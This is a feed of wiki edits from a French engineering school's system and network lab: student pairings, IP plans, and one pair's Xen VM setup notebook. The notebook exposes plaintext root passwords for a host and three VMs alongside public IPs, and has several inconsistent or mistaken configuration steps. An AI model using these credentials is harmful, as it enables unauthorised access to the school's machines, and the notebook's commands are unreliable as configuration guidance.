&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=11457</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=11457"/>
		<updated>2026-01-27T13:46:11Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|-&lt;br /&gt;
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|-&lt;br /&gt;
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|-&lt;br /&gt;
| SE4.superman|| 193.48.57.169|| Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|-&lt;br /&gt;
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| &amp;lt;code&amp;gt;193.48.57.167&amp;lt;/code&amp;gt;|| Mohamed Salhi &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24&lt;br /&gt;
|-&lt;br /&gt;
|PAYET / DELOBELLE&lt;br /&gt;
|pont_pacman&lt;br /&gt;
|192.168.10.0/24&lt;br /&gt;
|-&lt;br /&gt;
|MERIEN / VANGHELUWE&lt;br /&gt;
|pont_pere&lt;br /&gt;
|192.168.0.0/24&lt;br /&gt;
|-&lt;br /&gt;
|CHEKLAT / BIERNACKI&lt;br /&gt;
|pont_ironman&lt;br /&gt;
|192.168.69.0/24&lt;br /&gt;
|-&lt;br /&gt;
|SALHI&lt;br /&gt;
|pont_msalhi&lt;br /&gt;
|192.168.20.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GOURVEST/GHAZALI&lt;br /&gt;
|pont_diviseur&lt;br /&gt;
|192.168.67.0/24&lt;br /&gt;
|-&lt;br /&gt;
|YAHIANI / TEPELI&lt;br /&gt;
|pontclio&lt;br /&gt;
|192.168.7.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GAUTHIER / SOUOP METSE&lt;br /&gt;
|pont_rock&lt;br /&gt;
|192.168.50.0/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| VLAN1 || 1&lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || 2 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l'école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| INTERCO1 || 530 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d'adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || &amp;lt;code&amp;gt;193.48.57.160/27&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a0::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Adresses IPv4 des éléments réseau dans VLAN1&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elément !! Adresse &lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E304 || 172.27.0.1/16&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E306 || 172.27.0.2/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E306 || 172.27.0.3/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E304 || 172.27.0.4/16&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 || &amp;lt;code&amp;gt;193.48.57.163&amp;lt;/code&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 || &amp;lt;code&amp;gt;193.48.57.164&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11452</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11452"/>
		<updated>2026-01-27T13:34:59Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Machines de Service - CachyOS &amp;amp; Manjaro */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : g0llum_fr0d0&lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)&lt;br /&gt;
Root Password   :  FDigbGcTyh86QnvLWyT8wh3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.10.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.166/24&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH ====&lt;br /&gt;
(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.1.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11437</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11437"/>
		<updated>2026-01-26T11:25:33Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* SSH */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : g0llum_fr0d0&lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
